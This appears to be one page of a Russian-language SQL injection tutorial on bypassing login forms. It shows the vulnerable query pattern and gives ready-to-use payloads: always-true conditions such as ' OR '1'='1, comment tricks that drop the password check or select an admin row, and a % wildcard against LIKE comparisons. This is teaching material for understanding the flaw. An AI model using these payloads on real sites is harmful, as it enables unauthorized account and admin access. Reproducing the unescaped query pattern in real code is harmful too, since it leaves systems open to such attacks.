Страница 4 из 10 АвторизацияПопробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом: SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password'; где $login и $password это переменные, которые передаются с формы.
Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат.
Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается ' OR '1'='1 Или какое-нибудь истинное условие (1, 'a'='a', 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3)
Соответственно запрос будет сформирован следующим образом: SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR '1'='1';что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в базе данных хэшированные? Тогда проверку пароля просто "отключают", закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и '# тем самым закомментируется проверка пароля.
SELECT * FROM `users` WHERE `login`='admin'#' AND `password`='12345'
как вариант 'OR `id`=2#
SELECT * FROM `users` WHERE `login`='' OR `id`=2#' AND `password`='12345' Таким образом можно пройти авторизацию без знания реального логина. Случай с SELECT * FROM `users` WHERE `login`='' OR `admin`=1#' AND `password`='12345'позволяет пройти авторизацию с правами админа.
Большой ошибкой является проверка пароля следующим образом: SELECT * FROM `users` WHERE `login`='$login' AND `password` LIKE '$password'поскольку в этом случае для любого логина подойдет пароль % |